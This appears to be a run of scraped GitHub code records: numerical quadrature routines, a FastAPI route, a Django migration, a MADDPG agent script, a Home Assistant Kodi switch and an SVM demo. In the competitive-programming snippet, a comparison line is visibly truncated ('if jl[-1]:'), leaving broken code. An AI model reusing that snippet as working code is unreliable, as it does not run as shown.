jogar()","repo_name":"tanzarella/alura_python_p1","sub_path":"jogo/adivinhacao.py","file_name":"adivinhacao.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"18898401955","text":"from __future__ import print_function\n\nimport numpy as np\n\nfrom numpy.fft import ifft\nfrom numpy import array, zeros, ones, hstack, arange, zeros_like, asfarray\nfrom numpy import dot, isscalar\nfrom numpy import finfo, double, isinf, isposinf, isneginf\nfrom numpy import ceil,log10, logspace\n\nfrom .utils import cheb_nodes, incremental_cheb_nodes\nfrom .utils import combine_interpolation_nodes_fast\nfrom .utils import combine_interpolation_nodes_fast_vector\nfrom .utils import convergence_monitor\nfrom .utils import debug_plot\n\nfrom .vartransforms import VarTransformAlgebraic_PMInf\nfrom .vartransforms import VarTransformAlgebraic_PInf\nfrom .vartransforms import VarTransformAlgebraic_MInf\nfrom .vartransforms import VarTransformReciprocal_PMInf\nfrom .vartransforms import VarTransformReciprocal_PInf\nfrom .vartransforms import VarTransformReciprocal_MInf\n\nfrom pacal.interpolation import ChebyshevInterpolator1\nfrom . import params\n\n# cache for Clenshaw quadrature coefficients\n_clenshaw_cache = {}\ndef clenshaw_coefficients(n):\n \"\"\"Return Clenshaw quadrature coefficients for given n.\n\n Computed values are cached for later reuse. Based on Waldvogel's\n paper.\"\"\"\n if n in _clenshaw_cache:\n coeffs = _clenshaw_cache[n]\n else:\n n1 = n - 1\n N = np.arange(1, n1, 2)\n l = len(N)\n m = n1 - l\n v0 = -np.hstack([2.0 / (N*(N-2)), [1.0/N[-1]], np.zeros(m)])\n v2 = v0[:-1] + v0[-1:0:-1]\n\n g0 = -np.ones(n1)\n g0[l] += n1\n g0[m] += n1\n g = g0/(n1**2 - 1 + n1%2)\n coeffs = ifft(v2 + g).real\n coeffs = np.hstack([coeffs, [coeffs[0]]])\n _clenshaw_cache[n] = coeffs\n return coeffs\n\n# cache for Fejer's 2nd rule quadrature coefficients\n_fejer2_cache = {}\ndef fejer2_coefficients(n):\n \"\"\"Return Fejer's 2nd rule quadrature coefficients for given n.\n\n Computed values are cached for later reuse. Based on Waldvogel's\n paper. First and last coefficients are zero so are removed.\"\"\"\n if n in _fejer2_cache:\n coeffs = _fejer2_cache[n]\n else:\n n1 = n - 1\n N = np.arange(1, n1, 2)\n l = len(N)\n m = n1 - l\n v0 = -np.hstack([2.0 / (N*(N-2)), [1.0/N[-1]], np.zeros(m)])\n v2 = v0[:-1] + v0[-1:0:-1]\n coeffs = ifft(v2).real\n coeffs = coeffs[1:]\n _fejer2_cache[n] = coeffs\n return coeffs\n\n\ndef integrate_clenshaw(f, a, b, maxn = 2**16, tol = 10e-16,\n debug_info = True, debug_plot = True):\n n = 3\n prevI = None\n nodes = None\n cm = convergence_monitor()\n while n <= maxn:\n coeffs = clenshaw_coefficients(n)\n if nodes is None:\n nodes = cheb_nodes(n, a, b)\n fs = f(nodes)\n else:\n new_nodes = incremental_cheb_nodes(n, a, b)\n new_fs = f(new_nodes)\n nodes, fs = combine_interpolation_nodes_fast(nodes, fs,\n new_nodes, new_fs)\n\n I = dot(fs, coeffs) * 0.5 * (b - a)\n if prevI is not None:\n err = abs(I - prevI)\n cm.add(err, I)\n if cm.test_convergence()[0]:\n break\n prevI = I\n n = 2 * n - 1\n if debug_info:\n print(\"====\")\n if debug_plot and n >= maxn: # problems with integration\n debug_plot(a, b, nodes, fs, coeffs)\n return I, err\n\ndef integrate_fejer2(f, a, b, par = None, maxn = 2**10, tol = finfo(double).eps,\n debug_info = False, debug_plot = False):\n if par is not None:\n maxn = par.maxn\n debug_plot = par.debug_plot\n debug_info = par.debug_info\n cm = convergence_monitor(par = par.convergence)\n else:\n cm = convergence_monitor()\n n = 65\n prevI = None\n nodes = None\n while n <= maxn:\n coeffs = fejer2_coefficients(n)\n if nodes is None:\n nodes = cheb_nodes(n, a, b)[1:-1]\n fs = f(nodes)\n else:\n new_nodes = incremental_cheb_nodes(n, a, b)\n new_fs = f(new_nodes)\n # roles of new and old nodes are reversed in the call below\n nodes, fs = combine_interpolation_nodes_fast(new_nodes, new_fs,\n nodes, fs)\n\n I = np.dot(fs, coeffs) * (b - a) / 2\n if prevI is not None:\n err = abs(I - prevI)\n if debug_info:\n print(repr(I), err, n, I + err == I, err <= abs(I) * tol, min(nodes), max(nodes), min(fs), max(fs))\n cm.add(err, I)\n if cm.test_convergence()[0]:\n break\n prevI = I\n n = 2 * n - 1\n if debug_info:\n print(\"====\")\n if debug_plot and n >= maxn: # problems with integration\n debug_plot(a, b, nodes, fs, coeffs)\n # return currently best result\n I, err, _extra = cm.get_best_result()\n return I, err\n\ndef integrate_fejer2_vector(f, a, b, par = None, maxn = 2**10, tol = finfo(double).eps):\n \"\"\"Integrate a function returning a vector (or array) componentise.\n\n the function f takes an argument vector x and returns a vector (or\n matrix) for each element of x. The result should be an array with\n the last index corresponding to indexing of x.\"\"\"\n if par is not None:\n maxn = par.maxn\n cm = convergence_monitor(par = par.convergence)\n else:\n cm = convergence_monitor()\n n = 65\n prevI = None\n nodes = None\n while n <= maxn:\n coeffs = fejer2_coefficients(n)\n if nodes is None:\n nodes = cheb_nodes(n, a, b)[1:-1]\n fs = f(nodes)\n else:\n new_nodes = incremental_cheb_nodes(n, a, b)\n new_fs = f(new_nodes)\n # roles of new and old nodes are reversed in the call below\n nodes, fs = combine_interpolation_nodes_fast_vector(new_nodes, new_fs,\n nodes, fs)\n\n I = np.dot(fs, coeffs) * (b - a) / 2\n if prevI is not None:\n err = np.max(np.abs(I - prevI))\n cm.add(err, np.abs(I).mean())\n if cm.test_convergence()[0]: # TODO: test componentwise?\n break\n prevI = I\n n = 2 * n - 1\n # TODO: return currently best result componentwise\n #I, err, _extra = cm.get_best_result()\n return I, err\n\n\n\ndef _integrate_with_vartransform(f, vt, quad_routine, *args, **kwargs):\n \"\"\"Clenshaw integration with variable transform.\"\"\"\n def __f_int(t):\n y = vt.apply_with_inv_transform(f, t, mul_by_deriv = True)\n return y\n return quad_routine(__f_int, vt.var_min, vt.var_max, *args, **kwargs)\n\ndef integrate_clenshaw_pminf(f):\n \"\"\"Clenshaw integration from -oo to +oo.\"\"\"\n vt = VarTransformAlgebraic_PMInf()\n return _integrate_with_vartransform(f, vt, integrate_clenshaw)\ndef integrate_clenshaw_pinf(f, a):\n \"\"\"Clenshaw integration from a to +oo.\"\"\"\n if isposinf(a):\n return 0,0\n vt = VarTransformAlgebraic_PInf(a)\n return _integrate_with_vartransform(f, vt, integrate_clenshaw)\ndef integrate_clenshaw_minf(f, b):\n \"\"\"Clenshaw integration from -oo to b.\"\"\"\n if isneginf(b):\n return 0,0\n vt = VarTransformAlgebraic_MInf(b)\n return _integrate_with_vartransform(f, vt, integrate_clenshaw)\n\n\n\ndef integrate_fejer2_pminf(f, *args, **kwargs):\n \"\"\"Fejer2 integration from -oo to +oo.\"\"\"\n vt = VarTransformReciprocal_PMInf()\n return _integrate_with_vartransform(f, vt, integrate_fejer2, *args, **kwargs)\ndef integrate_fejer2_pinf(f, a, b = None, exponent = None, *args, **kwargs):\n \"\"\"Fejer2 integration from a to +oo.\"\"\"\n if isposinf(a):\n return 0,0\n if exponent is None:\n exponent = params.integration_infinite.exponent\n vt = VarTransformReciprocal_PInf(a, U = b, exponent = exponent)\n return _integrate_with_vartransform(f, vt, integrate_fejer2, *args, **kwargs)\ndef integrate_fejer2_minf(f, b, a = None, exponent = None, *args, **kwargs):\n \"\"\"Fejer2 integration from -oo to b.\"\"\"\n if isneginf(b):\n return 0,0\n if exponent is None:\n exponent = params.integration_infinite.exponent\n vt = VarTransformReciprocal_MInf(b, L = a, exponent = exponent)\n return _integrate_with_vartransform(f, vt, integrate_fejer2, *args, **kwargs)\n\n\ndef integrate_fejer2_Xn_transform(f, a, b, N = 2.0, *args, **kwargs):\n return integrate_fejer2(lambda t: N * (b-a) * f(t**N*(b-a)+a) * t**(N-1), 0.0, 1.0, *args, **kwargs)\ndef integrate_fejer2_Xn_transformP(f, a, b, N = None, *args, **kwargs):\n if N is None:\n N = params.integration_pole.exponent\n a = a + abs(a) * finfo(double).eps # don't touch the edge\n return integrate_fejer2(lambda t: N * (b-a) * f(t**N*(b-a)+a) * t**(N-1), 0.0, 1.0, *args, **kwargs)\ndef integrate_fejer2_Xn_transformN(f, a, b, N = None, *args, **kwargs):\n if N is None:\n N = params.integration_pole.exponent\n b = b - abs(b) * finfo(double).eps # don't touch the edge\n return integrate_fejer2(lambda t: N * (b-a) * f(b-t**N*(b-a)) * t**(N-1), 0.0, 1.0, *args, **kwargs)\ndef integrate_wide_interval(f, a, b, *args, **kwargs):\n wide_cond = params.integration.wide_condition\n if isinf(b):\n b=1e100\n if isinf(a):\n a=-1e100\n if a!=0 and b!=0:\n if (b/a)>wide_cond and 0 < a < b: # positive innterwal\n exp_wide = b/a\n number_of_intervals = int(ceil(log10(exp_wide)/log10(wide_cond)))\n nodes = logspace(log10(a), log10(b), number_of_intervals + 1)\n nodes[0] = a\n nodes[-1] = b\n I,E=0,0\n for i in range(int(number_of_intervals)):\n integ,err = integrate_fejer2(f, nodes[i], nodes[i+1], *args, **kwargs)\n I+=integ\n E+=err\n return I, E\n elif (b/a)<1/wide_cond and a < b < 0: # negative interval\n exp_wide = a/b\n number_of_intervals = int(ceil(log10(exp_wide)/log10(wide_cond)))\n nodes = -logspace(log10(abs(a)), log10(abs(b)), number_of_intervals + 1)\n nodes[0] = a\n nodes[-1] = b\n I,E=0,0\n for i in range(int(number_of_intervals)):\n integ,err = integrate_fejer2(f, nodes[i], nodes[i+1], *args, **kwargs)\n I+=integ\n E+=err\n return I, E\n #print \"wide interval neg\", a, b, number_of_intervals, nodes, I, E\n else:\n return integrate_fejer2(f, a, b, *args, **kwargs )\n else:\n return integrate_fejer2(f, a, b, *args, **kwargs )\n\ndef integrate_wide_interval2(f, a, b, *args, **kwargs):\n m = (a + b) / 2\n ya = f(array([a]))\n ym = f(array([m]))\n yb = f(array([b]))\n if ym < min(ya, yb):\n i1, e1 = integrate_fejer2_pinf(f, a, b = m)\n i2, e2 = integrate_fejer2_minf(f, b, a = m)\n elif ym > max(ya, yb):\n i1, e1 = integrate_fejer2_minf(f, m, a = a)\n i2, e2 = integrate_fejer2_pinf(f, m, b = b)\n elif yb > max(ya, ym):\n i1, e1 = integrate_fejer2_minf(f, b, a = a)\n i2, e2 = 0, 0\n elif ya > max(ym, yb):\n i1, e1 = integrate_fejer2_pinf(f, a, b = b)\n i2, e2 = 0, 0\n else:\n i1, e1 = integrate_fejer2(f, a, b)\n i2, e2 = 0, 0\n i = i1 + i2\n e = e1 + e2\n return i, e\n\ndef integrate_iter(f, a1, b1, a2, b2):\n def fun1(y):\n if isscalar(y):\n z = integrate_fejer2(lambda x : f(x, y), a1, b1)\n else:\n z = zeros_like(y)\n for i in range(len(y)):\n z[i], err = integrate_fejer2(lambda x : f(x, y[i]), a1, b1)\n return z\n cheb = ChebyshevInterpolator1(fun1, a2,b2)\n return integrate_fejer2(cheb, a2, b2)\n\ndef integrate_iter2(f, a1, b1, a2, b2):\n def fun1(x):\n if isscalar(x):\n z = integrate_fejer2(lambda y : f(x, y), a2, b2)\n else:\n z = zeros_like(x)\n for i in range(len(x)):\n print(\";;;\", i, len(x))\n z[i], err = integrate_fejer2(lambda y : f(x[i], y), a2, b2)\n return z\n cheb = ChebyshevInterpolator1(fun1, a1,b1)\n return integrate_fejer2(cheb, a1, b1)\n\ndef integrate_with_pminf_guess(f, a, b, *args, **kwargs):\n \"\"\"Automatically guess if pinf or minf transformation should be used.\"\"\"\n ya = f(array([a]))\n yb = f(array([b]))\n if ya > yb:\n i, e = integrate_fejer2_pinf(f, a, b = b, *args, **kwargs)\n else:\n i, e = integrate_fejer2_minf(f, b, a = a, *args, **kwargs)\n# if ya > yb:\n# i, e = integrate_wide_interval(f, a, b, *args, **kwargs)\n# else:\n# i, e = integrate_wide_interval(f, a, b, *args, **kwargs)\n return i, e\n\n","repo_name":"jszymon/pacal","sub_path":"pacal/integration.py","file_name":"integration.py","file_ext":"py","file_size_in_byte":12655,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"29"} +{"seq_id":"19607397107","text":"import atexit\nimport io\nimport sys\n#Contributed by :HARSH TYAGI\n_INPUT_LINES = sys.stdin.read().splitlines()\ninput = iter(_INPUT_LINES).__next__\n_OUTPUT_BUFFER = io.StringIO()\nsys.stdout = _OUTPUT_BUFFER\n@atexit.register\ndef write():\n sys.__stdout__.write(_OUTPUT_BUFFER.getvalue())\nif __name__ == '__main__':\n \n for _ in range(int(input())) :\n n,m=(int(i) for i in input().split())\n l=[]\n r=[]\n arr = [[int(j) for j in input().split()] for i in range(n)]\n m=max(arr[n-1])\n r.append(m)\n for i in range(n-2,-1,-1):\n \n for j in arr[i]:\n if len(l)==0:\n if jl[-1]:\n l.pop()\n l.append(j)\n if len(l)!=0:\n m=l[-1]\n l=[]\n r.append(m)\n \n if len(r)==n: \n print(sum(r))\n else:\n print(0)\n \n \n ","repo_name":"harshtyagimdr/Searching","sub_path":"Maximum sum of increasing order elements from n arrays.py","file_name":"Maximum sum of increasing order elements from n arrays.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"34686490863","text":"from fastapi import APIRouter, Depends\nfrom src.services.grabber_chat_service import GrabberChatService\n\nrouter = APIRouter(prefix=\"/grabber\", tags=[\"Grabber Chat\"])\n\n@router.delete(\"/grabber/{grabber_id}\", response_model=bool)\nasync def delete_grabber(\n spam_id: int, service: GrabberChatService = Depends(GrabberChatService)\n):\n await service.delete(spam_id)\n return True\n","repo_name":"AlexPovlov/telegram-grabber","sub_path":"src/routers/grabber_chat_router.py","file_name":"grabber_chat_router.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"70590286157","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('building', '0003_populate_buildings'),\n ('planet', '0010_planet_buildings'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='planet',\n name='constructing',\n field=models.ForeignKey(related_name=b'constructing', default=None, to='building.Building', null=True),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='planet',\n name='buildings',\n field=models.ManyToManyField(related_name=b'built', null=True, to=b'building.Building'),\n ),\n ]\n","repo_name":"dwagon/pymoo","sub_path":"moo/planet/migrations/0011_auto_20141010_0035.py","file_name":"0011_auto_20141010_0035.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71839607437","text":"import argparse\nimport gym\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport time\nimport pickle\nimport pdb\nimport random\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\n\nsession = tf.Session(config=config)\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\n\nimport maddpg.common.tf_util as U\nfrom maddpg.trainer.maddpg_3 import MADDPGAgentTrainer\nimport tensorflow.contrib.layers as layers\n\nflag=[1,1,1]\ndef parse_args():\n parser = argparse.ArgumentParser(\"Reinforcement Learning experiments for multiagent environments\")\n # Environment\n parser.add_argument(\"--scenario\", type=str, default=\"bonus_2\", help=\"name of the scenario script\")\n parser.add_argument(\"--max-episode-len\", type=int, default=10, help=\"maximum episode length\")\n parser.add_argument(\"--num-episodes\", type=int, default=60000, help=\"number of episodes\")\n parser.add_argument(\"--num-adversaries\", type=int, default=2, help=\"number of adversaries\")\n parser.add_argument(\"--good-policy\", type=str, default=\"maddpg\", help=\"policy for good agents\")\n parser.add_argument(\"--adv-policy\", type=str, default=\"maddpg\", help=\"policy of adversaries\")\n # Core training parameters\n parser.add_argument(\"--lr\", type=float, default=0.005, help=\"learning rate for Adam optimizer\")\n parser.add_argument(\"--gamma\", type=float, default=0.95, help=\"discount factor\")\n parser.add_argument(\"--batch-size\", type=int, default=10, help=\"number of episodes to optimize at the same time\")\n parser.add_argument(\"--num-units\", type=int, default=64, help=\"number of units in the mlp\")\n # Checkpointing\n parser.add_argument(\"--exp-name\", type=str, default=None, help=\"name of the experiment\")\n parser.add_argument(\"--save-dir\", type=str, default=\"./policy/\", help=\"directory in which training state and model should be saved\")\n parser.add_argument(\"--save-rate\", type=int, default=10, help=\"save model once every time this many episodes are completed\")\n parser.add_argument(\"--load-dir\", type=str, default=\"\", help=\"directory in which training state and model are loaded\")\n # Evaluation\n parser.add_argument(\"--restore\", action=\"store_true\", default=False)\n parser.add_argument(\"--display\", action=\"store_true\", default=True)\n parser.add_argument(\"--online_display\", action=\"store_true\", default=False)\n parser.add_argument(\"--benchmark\", action=\"store_true\", default=False)\n parser.add_argument(\"--benchmark-iters\", type=int, default=100000, help=\"number of iterations run for benchmarking\")\n parser.add_argument(\"--benchmark-dir\", type=str, default=\"./benchmark_files/\", help=\"directory where benchmark data is saved\")\n parser.add_argument(\"--plots-dir\", type=str, default=\"./learning_curves/\", help=\"directory where plot data is saved\")\n return parser.parse_args()\n\ndef mlp_model(input, num_outputs, scope, reuse=False, num_units=128, rnn_cell=None):\n # This model takes as input an observation and returns values of all actions\n with tf.variable_scope(scope, reuse=reuse):\n out = input\n out = layers.fully_connected(out, num_outputs=num_units, activation_fn=tf.nn.relu)\n out = layers.fully_connected(out, num_outputs=num_units, activation_fn=tf.nn.relu)\n out = layers.fully_connected(out, num_outputs=num_outputs, activation_fn=None)\n return out\n\ndef CNN_model(input, index, scope=\"CNN\",num_outputs=12, batch_size=10, reuse=True):\n\n\n # This model takes as input an observation and returns values of all actions\n # try:\n # tf.get_variable(scope+\"/conv2d/kernel\")\n # scope_t.reuse_variables()\n # except ValueError:\n # print(\"new\")\n global flag\n reuse_t=True\n #print(scope)\n if flag[index]==1:\n flag[index]=0\n reuse_t=False\n\n #print(flag,reuse_t)\n with tf.variable_scope(scope, reuse=reuse_t) as scope_t:\n\n \"\"\"Model function for CNN.\"\"\"\n # Input Layer\n input_layer = tf.reshape(input,[-1, 56, 86, 1])\n # Convolutional Layer #1\n conv1 = tf.layers.conv2d(\n inputs=input_layer,\n filters=16,\n\n kernel_size=[5, 5],\n padding=\"same\",\n activation=tf.nn.relu)\n # Pooling Layer #1\n pool1 = tf.layers.max_pooling2d(inputs=conv1, pool_size=[2, 2], strides=2, padding='same')\n # Convolutional Layer #2 and Pooling Layer #2\n conv2 = tf.layers.conv2d(\n inputs=pool1,\n\n filters=32,\n\n kernel_size=[5, 5],\n padding=\"same\",\n activation=tf.nn.relu)\n pool2 = tf.layers.max_pooling2d(inputs=conv2, pool_size=[2, 2], strides=2, padding='same')\n # Dense Layer\n\n pool2_flat = tf.reshape(pool2, [-1,9856])\n\n\n dense = tf.layers.dense(inputs=pool2_flat, units=1024, activation=tf.nn.relu)\n dropout = tf.layers.dropout(\n inputs=dense, rate=0.4, training=True)\n context = tf.layers.dense(inputs=dropout, units=num_outputs)\n return(context)\n\ndef make_env(scenario_name, arglist, benchmark=False):\n from multiagent.environment import MultiAgentEnv\n import multiagent.scenarios as scenarios\n\n # load scenario from script\n scenario = scenarios.load(scenario_name + \".py\").Scenario()\n # create world\n world = scenario.make_world()\n # create multiagent environment\n if benchmark:\n env = MultiAgentEnv(world, scenario.reset_world, scenario.reward, scenario.observation, scenario.benchmark_data)\n else:\n env = MultiAgentEnv(world, scenario.reset_world, scenario.reward, scenario.observation)\n return env\n\ndef get_trainers(env, num_adversaries, obs_shape_n, obs_map_shape_n,arglist):\n trainers = []\n model = mlp_model\n map_model=CNN_model\n trainer = MADDPGAgentTrainer\n for i in range(num_adversaries):\n trainers.append(trainer(\n env,\"agent_%d\" % i, model, map_model,obs_shape_n, obs_map_shape_n, env.action_space,i, arglist,\n local_q_func=(arglist.adv_policy=='ddpg')))\n for i in range(num_adversaries, env.n):\n trainers.append(trainer(\n env,\"agent_%d\" % i, model, map_model,obs_shape_n,obs_map_shape_n, env.action_space, i, arglist,\n local_q_func=(arglist.good_policy=='ddpg')))\n return trainers\n\n\n\ndef input_new_obs():\n\n #my_pos=np.array(get_my_pos())/100*0.075 \n my_pos=np.array([1,1])/100*0.075 \n #my_velocity=np.array(get_my_velocity())/100*0.075 #max_speed 2666mm/s\n my_velocity=np.array([1,1])/100*0.075 #max_speed 2666mm/s\n #enemy_pos=np.array(get_enemy_pos())/100*0.075\n enemy_pos=np.array([[10,10],[-1,-1]])/100*0.075\n #enemy_velocity=np.array(get_enemy_velovity())/100*0.075\n enemy_velocity=np.array([[2,2],[-1,-1]])/100*0.075\n my_shooting_angle=5 #0 to 7\n #my_shooting_angle=get_shooting_angle() #0 to 7\n #my_bonus_status=get_bonus_status() #1 to 6\n my_bonus_status=4 #1 to 6\n\n global map_world\n current_map=np.copy(map_world)\n other_pos=[]\n other_vel=[]\n for i in range(2):\n if (enemy_pos[i][0]==-1) and (enemy_pos[i][0]==-1):\n other_pos.append([-1,-1])\n other_vel.append([-1,-1])\n else:\n other_pos.append((enemy_pos[i] - my_pos)/6)\n current_map[(enemy_pos[i][0]/0.075+3).astype(int)][(enemy_pos[i][1]/0.075+3).astype(int)]=-1\n other_vel.append(enemy_velocity[i] - my_velocity)\n\n current_map[(my_pos[0]/0.075+3).astype(int)][(my_pos[1]/0.075+3).astype(int)]=1\n\n tttt=np.concatenate([my_velocity] + [my_pos/6] + other_pos + other_vel)\n tt=np.array([0,0,0,0,0,0,0,0])\n tt[my_shooting_angle]=1\n bonus=np.array([0,0,0,0,0])\n bonus[my_bonus_status-1]=1\n ob=np.concatenate((tttt,tt,bonus)) #ob length=22\n current_map=np.reshape(current_map,-1)\n\n result=np.array([ob,current_map])\n return result\n\narglist = parse_args()\nwith U.make_session(1):\n # Create environment\n env = make_env(arglist.scenario, arglist, arglist.benchmark)\n map_world=np.copy(env.world.map_world)\n # Create agent trainers\n obs_shape_n = [[25] for i in range(env.n)]\n obs_map_shape_n =[[56*86] for i in range(env.n)]\n num_adversaries = min(env.n, arglist.num_adversaries)\n trainers = get_trainers(env, num_adversaries, obs_shape_n, obs_map_shape_n,arglist)\n my_agent=trainers[2]\n print('Using good policy {} and adv policy {}'.format(arglist.good_policy, arglist.adv_policy))\n\n # Initialize\n U.initialize()\n\n # Load previous results, if necessary\n if arglist.load_dir == \"\":\n arglist.load_dir = arglist.save_dir\n #if arglist.display or arglist.restore or arglist.benchmark:\n print('Loading previous state...')\n U.load_state(arglist.load_dir)\n my_obs= (env._reset())[0]\n\n print('Starting iterations...')\n while True:\n my_action= np.argmax(my_agent.action(my_obs))\n my_obs=input_new_obs()\n print(my_action)\n\n# /UWBPOS/\n\n","repo_name":"xucheng1/MAMEDDPG","sub_path":"maddpg/experiments/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":8949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"23390180019","text":"import npyscreen\n\n# Use a wrapper:\n\n\ndef my_functions(*args):\n # define the form:\n F = npyscreen.Form(name='function wrapper')\n\n # add a widget onto it\n # will store iput value.\n text_wid = F.add(npyscreen.TitleText, name='First Widget')\n\n # Display the window, and allow user to edit the content\n F.edit()\n # return the value input\n return text_wid.value\n\n\nif __name__ == '__main__':\n # use function wrapper\n print(npyscreen.wrapper_basic(my_functions))\n","repo_name":"Alleinx/Notes","sub_path":"Python/npyscreen/code/play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":488,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"71400734159","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCEC Kodi Switch\n\nSimple switch for turn on / off the TV attached to one Raspberry PI\nrunning OSMC-KODI with the `script.json-cec` add-on.\n\n* For turning ON (CECActivateSource()), a service call for the\n `media_player.kodi_execute_addon` service to call the `script.json-cec`\n addon with `{\"command\": \"activate\"}` params.\n* For turning OFF, with the proper CEC config in OSMC-KODI\n (turn all off in exit, but no action in init),\n a service call for the `media_player.kodi` service to turn off\n (HASS Kodi platform config with `turn_off_action: quit`).\n\nExample yaml config:\n```yaml\nswitch:\n- platform: cecswitch\n name: \"TV Salón\"\n kodi_player: media_player.kodi\n on_cec_command: activate\n```\n\n** **UPDATE**:\n\nWith the new options to define HA scripts to turn ON/OFF Kodi, this extra\nswitch is not required anymore. It can be replaced with scripts like this:\n\n```yaml\nmedia_player:\n - platform: kodi\n turn_on_action:\n - service: media_player.kodi_call_method\n data:\n entity_id: media_player.kodi\n method: Addons.ExecuteAddon\n addonid: script.json-cec\n params:\n command: activate\n turn_off_action:\n - service: media_player.kodi_call_method\n data:\n entity_id: media_player.kodi\n method: Player.Stop\n playerid: 1\n - service: media_player.kodi_call_method\n data:\n entity_id: media_player.kodi\n method: Addons.ExecuteAddon\n addonid: script.json-cec\n params:\n command: standby\n```\n\"\"\"\nimport asyncio\nimport logging\nimport voluptuous as vol\nfrom homeassistant.components.switch import SwitchDevice, PLATFORM_SCHEMA\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.const import (\n CONF_HOST, CONF_PORT, CONF_USERNAME, CONF_PASSWORD, CONF_NAME)\nfrom homeassistant.util import utcnow, as_local\n\n\n_LOGGER = logging.getLogger(__name__)\nDEPENDENCIES = ['media_player']\n\nICON = 'mdi:kodi'\nCONF_KODI_PLAYER = \"kodi_player\"\nCONF_COMMAND_ON = \"on_cec_command\"\nDEFAULT_COMMAND_ON = \"activate\"\nDEFAULT_NAME = 'Kodi CEC Switch'\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend({\n vol.Required(CONF_KODI_PLAYER): cv.entity_id,\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n vol.Optional(CONF_COMMAND_ON, default=DEFAULT_COMMAND_ON): cv.string\n})\n\n\n# noinspection PyUnusedLocal\n@asyncio.coroutine\ndef async_setup_platform(hass, config, async_add_devices, discovery_info=None):\n \"\"\"Setup the CEC Kodi switch.\"\"\"\n player = config.get(CONF_KODI_PLAYER)\n switch_name = config.get(CONF_NAME)\n command_on = config.get(CONF_COMMAND_ON)\n # Create switch:\n switch = CECSwitch(hass, player, switch_name, command_on)\n _LOGGER.info('CEC switch for Kodi device: \"{}\" loaded'.format(player))\n async_add_devices([switch])\n return True\n\n\nclass CECSwitch(SwitchDevice):\n \"\"\"Representation of a KODI CEC switch.\"\"\"\n\n def __init__(self, hass, player, switch_name, command_on):\n \"\"\"Initialize the CECSwitch.\"\"\"\n self.hass = hass\n self._kodi_player = player\n self._name = switch_name\n self._command_on = command_on\n self._state = False\n\n @property\n def should_poll(self):\n \"\"\"Poll for status regularly.\"\"\"\n return False\n\n @property\n def is_on(self):\n \"\"\"Return true if switch is on.\"\"\"\n return self._state\n\n @property\n def name(self):\n \"\"\"The name of the switch.\"\"\"\n return self._name\n\n @property\n def icon(self):\n \"\"\"Return the icon to use in the frontend, if any.\"\"\"\n return ICON\n\n def toggle(self):\n \"\"\"Toggle the switch.\"\"\"\n if self._state:\n self.turn_off()\n else:\n self.turn_on()\n\n def turn_on(self):\n \"\"\"Turn the switch on.\"\"\"\n data = {\"entity_id\": self._kodi_player,\n \"method\": \"Addons.ExecuteAddon\",\n \"addonid\": \"script.json-cec\",\n \"params\": {\"command\": self._command_on}}\n self.hass.services.call(\"media_player\", \"kodi_call_method\",\n service_data=data)\n self._state = True\n self.schedule_update_ha_state()\n _LOGGER.info('SWITCH TURN ON')\n\n def turn_off(self):\n \"\"\"Turn the switch off.\"\"\"\n data = {\"entity_id\": self._kodi_player}\n self.hass.services.call(\"media_player\", \"turn_off\", service_data=data)\n self._state = False\n self.schedule_update_ha_state()\n _LOGGER.info('SWITCH TURN OFF')\n","repo_name":"azogue/hass_config","sub_path":"custom_components/switch/cecswitch.py","file_name":"cecswitch.py","file_ext":"py","file_size_in_byte":4523,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"29"} +{"seq_id":"26811136488","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 30 13:22:54 2022\n\n@author: jose\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.svm import SVC\nimport matplotlib.pyplot as plt\n\n# read\ndata = pd.read_csv('data/raw.csv', header = None).values\n\n# kfold\nk = 10\nsize = len(data)\nindex = list(range(size))\nnp.random.shuffle(index)\nstep = round(size / k)\nkfolds = [index[i:i+step] for i in range(0, size, step)]\n\nk = 0\nkfold = kfolds[0]\nfold = np.ones(size, bool)\nfold[kfold] = False\n\n# data\nX_train = data[fold, 0:-1]\ny_train = data[fold, -1]\nX_test = data[np.invert(fold), 0:-1]\ny_test = data[np.invert(fold), -1]\n\n# svm\nC = 1\nh = 1\n# clf = make_pipeline(StandardScaler(), SVC(C = C, gamma = gamma))\nclf = SVC(C = C, gamma = h)\nclf.fit(X_train, y_train)\n# print(clf.get_params()['gamma'])\n\n# eval\nyhat = clf.predict(X_test)\nprint(clf.score(X_test, y_test))\n\n# plot\nX = data[:, 0:-1]\ny = data[:, -1]\nfor classe in np.unique(y):\n idx = y_train == classe\n _idx = y_test == classe\n plt.scatter(X_train[idx, 0], X_train[idx, 1], c = {1: 'red', -1: 'blue'}[classe])\n plt.scatter(X_test[_idx, 0], X_test[_idx, 1], c = {1: 'red', -1: 'blue'}[classe])\nfronteira = clf.support_\n# 